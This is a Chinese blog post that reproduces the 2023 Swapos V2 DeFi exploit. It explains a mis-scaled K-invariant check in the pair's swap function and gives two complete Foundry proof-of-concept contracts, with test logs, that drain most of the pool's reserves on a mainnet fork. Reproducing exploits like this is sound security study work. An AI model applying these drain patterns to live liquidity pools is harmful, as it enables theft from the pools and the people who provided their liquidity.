Skip to main content

Command Palette

Search for a command to run...

defi 攻击复现 20230416 Swapos V2

Published
6 min readView as Markdown
C
酷愛計算機技術Ardently Love Computer Technology 長期關註反洗錢反欺詐Long-term Focus on Anti-Money Laundering and Anti-Fraud 精通支付結算的技術、系統、流程和製度Proficient in the Technology, System, Process and Institution of Payment and Settlement
  • 参照之前记载,安装 foundry 和 vscode

https://github.com/SunWeb3Sec/DeFiHackLabs 下载 basetest.sol,interface.sol,tokenhelper.sol 这3个文件到 test 目录下,使用 github proxy 加速 同时修改 foundry.toml 文件,否则就会报错[与分叉有关]

fs_permissions = [{ access = "read", path = "./"}]
evm_version = 'shanghai'

[rpc_endpoints]
mainnet = "https://eth.llamarpc.com"
blast = "https://rpc.ankr.com/blast"
optimism = "https://optimism.llamarpc.com"
fantom = "https://fantom-pokt.nodies.app"
arbitrum =  "https://arb1.arbitrum.io/rpc" # https://arbitrum.llamarpc.com
bsc = "https://binance.llamarpc.com"
moonriver = "https://moonriver.public.blastapi.io"
gnosis = "https://gnosis-mainnet.public.blastapi.io"
avalanche = "https://avax.meowrpc.com"
polygon = "https://rpc.ankr.com/polygon"
celo = "https://rpc.ankr.com/celo"
base = "https://developer-access-mainnet.base.org"
linea = "https://linea.drpc.org"
mantle = "https://rpc.mantle.xyz"
  • 漏洞原理

swap (uint amount0Out, uint amount1Out, address to, bytes calldata data) external

描述:进行代币交换,从流动性池中取出代币

参数:amount0Out:取出的第一个代币的数量。amount1Out:取出的第二个代币的数量。 to:接收代币的地址。data:附加数据,支持闪电交换(flash swap)。

变量 reserve0 和 reserve1 被读取,但该函数没有写入这些变量。 reserve0 和 reserve1 在此函数内部未更新。它们反映了在新的代币集合作为 swap 的一部分发送之前合约的余额。

测量传入代币的数量 amountXIn

currentContractbalanceX > _reserveX - _amountXOut
// 或者
currentContractBalanceX > previousContractBalanceX - _amountXOut

这里[之前的余额previousContractBalanceX]就是[储备量_reserveX]

如果它测量到净减少,三元运算符返回零,否则将测量代币的净流入。

amountXIn = balanceX - (_reserveX - amountXOut)

假设我们之前的余额是 10,amountOut 为零,当前余额是 12。这意味着用户存入了 2 个代币。amountXIn 将为 2。

假设我们之前的余额是 10,amountOut 为 7,当前余额是 3。amountXIn 将为 0。

假设我们之前的余额是 10,amountOut 为 7,当前余额是 2。amountXIn 仍然为零,而不是 -1。池子确实有 8 个代币的净损失,但amountXIn 不能为负。

假设我们之前的余额是 10,amountOut 为 6。如果当前余额是 18,则用户“借入” 6 个代币但偿还了 8 个代币。

结论:amount0In 和 amount1In 将在代币有净增益时反映其净增益,如果代币有净损失,则为零。

  • POC 1

https://blog.csdn.net/weixin_43982484/article/details/130413878?spm=1001.2014.3001.5502

这个作者认为 SwaposV2Pair.sol 的 swap 函数有漏洞

...
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
...
        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));// balance0Adjusted 等于 balance0 乘以10000
        uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));// balance1Adjusted 等于 balance1 乘以10000
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SwaposV2: K');
//右侧 _reserve0 乘以 _reserve1 乘以 1000 乘以 1000,数量级相差100,明显错误
        }

        _update(balance0, balance1, _reserve0, _reserve1);//更新_reserveX 和 BalanceX 
        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
    }

这个作者编写的POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./interface.sol"; //导入 测试库 和 interface.sol

// KeyInfo - Total Lost : ~ 486K US$
// Event : Swapos Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// Attacker : 0x53fc4a4a638378b9b81393fbe0fa9a6de2323ebd
// Attack Contract : 0x2df07c054138bf29348f35a12a22550230bd1405
// Vulnerable Contract : 0xf40593a22398c277237266a81212f7d41023b630 (Pancake Swap Contract)
// Attack Tx : https://etherscan.io/tx/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a

// Info
// Price manipulation, Vulnerability Exploit

// Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1647552192243728385


//定义几个常量,从 etherscan 查询到这几个地址
address constant SWAP_ADDRESS = 0xf40593A22398c277237266A81212f7D41023b630;
//ERC-20: Swapos V2 (SWP-V2) 地址
address constant WBTC_ADDRESS = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
//Wrapped BTC (WBTC)  地址
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
//USDC (USDC) 地址
uint256 constant USDC_DECIMALS = 6;//精度
uint256 constant WBTC_DECIMALS = 8;//精度

contract Swapos is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("mainnet",17057442); // 分叉攻击发生的区块
        console.log("start with block 17057442");// 打印攻击开始区块
        console.log("Attacker address %s",address(this));// 打印当前合约地址
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
// DSTest 的日志函数
        emit log_named_decimal_uint("[Start] Attacker USDC Balance&", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);
// DSTest 的日志函数

        Exploit exploit = new Exploit();// 攻击合约实例

        exploit.attack();// 调用攻击合约的attack函数

        console.log("End hacking...");
        emit log_named_decimal_uint("[End] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
// DSTest 的日志函数
        emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);
// DSTest 的日志函数
    }
}

//攻击合约
contract Exploit is Test{

//构造函数
    address owner;
    constructor() public{
        owner = msg.sender;
    }

//攻击函数
    function attack() public {
        deal(USDC_ADDRESS, address(this), 1);// 给当前合约设置 1 usdc 余额
        IUniswapV2Pair pair = IUniswapV2Pair(SWAP_ADDRESS);// 通过 IUniswapV2Pair 接口为 SWAP_ADDRESS 创建交易对
        (uint256 amount0, uint256 amount1,) = pair.getReserves();// 获得交易对的余额 amountX
        IERC20(USDC_ADDRESS).transfer(SWAP_ADDRESS,1);// 向 SWAP_ADDRESS 转入 1 usdc
        pair.swap(amount0/10 * 9, amount1/10 * 9,owner,"");// 调用交易对的 swap函数(uint amount0Out, uint amount1Out, address to, bytes calldata data) 传入3个参数,最后的data空着,
分别取出 amount0 的90% 和 amount1 的90% 给攻击者合约
    }
}

使用 forge 命令测试结果

$ forge test SwaposExp.t.sol -vvv
[⠢] Compiling...
No files changed, compilation skipped

Ran 1 test for test/SwaposExp.t.sol:Swapos
[PASS] testExploit() (gas: 3732102)
Logs:
  start with block 17057442
  Attacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  start hacking...
  [Start] Attacker WBTC Balance: 0.00000000
  [Start] Attacker USDC Balance&: 0.000000
  End hacking...
  [End] Attacker WBTC Balance: 1.42229691
  [End] Attacker USDC Balance: 43099.909083

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.42s (11.76ms CPU time)
Ran 1 test suite in 1.45s (1.42s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • POC2

https://yinhui1984.github.io/analysis_of_swaposv2_attack/

同样,这个作者认为 SwaposV2Pair.sol 的 swap 函数有漏洞

swap 函数设置了5个 require 检查,最主要在第 4 个

require(amount0Out > 0 || amount1Out > 0, "SwaposV2: INSUFFICIENT_OUTPUT_AMOUNT");
// 从流动性池中取出代币数量 amountXOut 都要大于零

(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); 
require( amount0Out < _reserve0 && amount1Out < _reserve1,"SwaposV2: INSUFFICIENT_LIQUIDITY");
// 从流动性池中取出代币数量 amountXOut 都要小于储备量 _reserveX

require(to != _token0 && to != _token1, "SwaposV2: INVALID_TO");
// 确保接收方不是tokenX

balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
uint amount0In = balance0 > _reserve0 - amount0Out? balance0 - (_reserve0 - amount0Out): 0;
uint amount1In = balance1 > _reserve1 - amount1Out? balance1 - (_reserve1 - amount1Out): 0;
require(amount0In > 0 || amount1In > 0,"SwaposV2: INSUFFICIENT_INPUT_AMOUNT");
// 测量传入代币的数量 amountXIn。之前的储备量 _reserveX根本就不是最新的值,其是通过getReserves()函数得到的, 
其值是在_update()被更新的,而更新发生在过去的mint(), burn(), sync(), swap()等。

uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
require(balance0Adjusted.mul(balance1Adjusted) >=uint(_reserve0).mul(_reserve1).mul(1000 ** 2),"SwaposV2: K");
// 检查调整后余额乘积 balanceXAdjusted 大于等于 _reserveX 乘积

这个作者编写的POC

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

// https://twitter.com/CertiKAlert/status/1647530789947469825
//不导入 interface.sol 接口,而是直接粘贴用到的接口代码

interface IWETH {
    function deposit() external payable;
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address guy, uint256 wad) external returns (bool);
    function withdraw(uint256 wad) external;
    function balanceOf(address) external view returns (uint256);
}

interface ISWP {
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function getReserves() external view  returns (uint112 _reserve0,uint112 _reserve1, uint32 _blockTimestampLast);
    function balanceOf(address) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
}

//定义几个常量,从 etherscan 查询到这几个地址。传入接口,就可以使用接口的函数
IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
//WETH 地址
IERC20 constant SWP_Token = IERC20(0x09176F68003c06F190ECdF40890E3324a9589557);
// Swapos Token 地址
ISWP constant SWPV2_Pool = ISWP(0x8ce2F9286F50FbE2464BFd881FAb8eFFc8Dc584f);
// SWPV2_Pool 地址

//攻击合约
contract Hack is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 17057400);// 分叉攻击发生的区块
        deal(address(WETH), address(this), 100);// 给当前合约设置100 weth余额
        vm.label(address(WETH), "WETH");// 给 WETH 地址添加标签
        vm.label(address(SWPV2_Pool), "SWPV2Pool");// 给 SWPV2_Pool 地址添加标签
        vm.label(address(SWP_Token), "SWPTOKEN");// 给 SWP_Token 地址添加标签
    }

//验证POC的函数

    function testPoc() public {
        // 绕过 "SwaposV2: INSUFFICIENT_INPUT_AMOUNT"
        WETH.transfer(address(SWPV2_Pool), 10);// 给 SWPV2_Pool 地址转入10 weth

        (uint112 token0, uint112 token1, ) = SWPV2_Pool.getReserves();// 获得 tokenX 储备量
        emit log_named_decimal_uint("[before] token0(SWP_Token) from getReserves in pool",token0,18);
        emit log_named_decimal_uint("[before] token1(WETH) from getReserves in pool",token1,18);

        //划走99% 的 token0 或 token1都可以,二选一
        SWPV2_Pool.swap((token0 * 99000) / 100000, 0, address(this), "");// 给 swap 函数传入取出代币 token0 的数量99%

        (token0, token1, ) = SWPV2_Pool.getReserves();
        emit log_named_decimal_uint("[after] token0(SWP_Token) from getReserves in pool",token0,18);
        emit log_named_decimal_uint("[after] token1(WETH) from getReserves in pool",token1,18);

        //故技重施,划走另外一个币
        SWP_Token.transfer(address(SWPV2_Pool), 10);// 给 SWPV2_Pool 地址转入 10 SWP_Token
        SWPV2_Pool.swap(0, (token1 * 99000) / 100000, address(this), "");// 给 swap 函数传入取出代币 token1 的数量99%

        (token0, token1, ) = SWPV2_Pool.getReserves();
        emit log_named_decimal_uint("[after] token0(SWP_Token) from getReserves in pool",token0,18);
        emit log_named_decimal_uint("[after] token1(WETH) from getReserves in pool",token1,18);

        emit log_named_decimal_uint("Now, i have SWP: ",SWP_Token.balanceOf(address(this)),18);
        emit log_named_decimal_uint("Now, i have WETH: ",WETH.balanceOf(address(this)),18);
    }
}

使用 forge 命令测试结果

$ forge test SwaposExp2.t.sol -vvv
[⠢] Compiling...
No files changed, compilation skipped

Ran 1 test for test/SwaposExp2.t.sol:Hack
[PASS] testPoc() (gas: 139839)
Logs:
  [before] token0(SWP_Token) from getReserves in pool: 147580.970131255838890994
  [before] token1(WETH) from getReserves in pool: 131.642780241915502488
  [after] token0(SWP_Token) from getReserves in pool: 1475.809701312558388910
  [after] token1(WETH) from getReserves in pool: 131.642780241915502498
  [after] token0(SWP_Token) from getReserves in pool: 1475.809701312558388920
  [after] token1(WETH) from getReserves in pool: 1.316427802419155025
  Now, i have SWP: : 146105.160429943280502074
  Now, i have WETH: : 130.326352439496347563

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.02s (499.52µs CPU time)
Ran 1 test suite in 1.03s (1.02s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • 主要参考文章

https://www.cnblogs.com/sjie/p/18259825

https://learnblockchain.cn/article/7963

https://yinhui1984.github.io/analysis_of_swaposv2_attack/

https://blog.csdn.net/weixin_43982484?type=blog

https://cloud.tencent.com/developer/user/6649301

https://learnblockchain.cn/article/11282

More from this blog

Penetration Test、Python、Weaponization

721 posts

微信 smartcat9999 反欺詐Anti-Fraud 反洗錢Anti-Money Laundering 反逃稅Anti-Tax Evasion 滲透測試Penetration Test 武器化Weaponization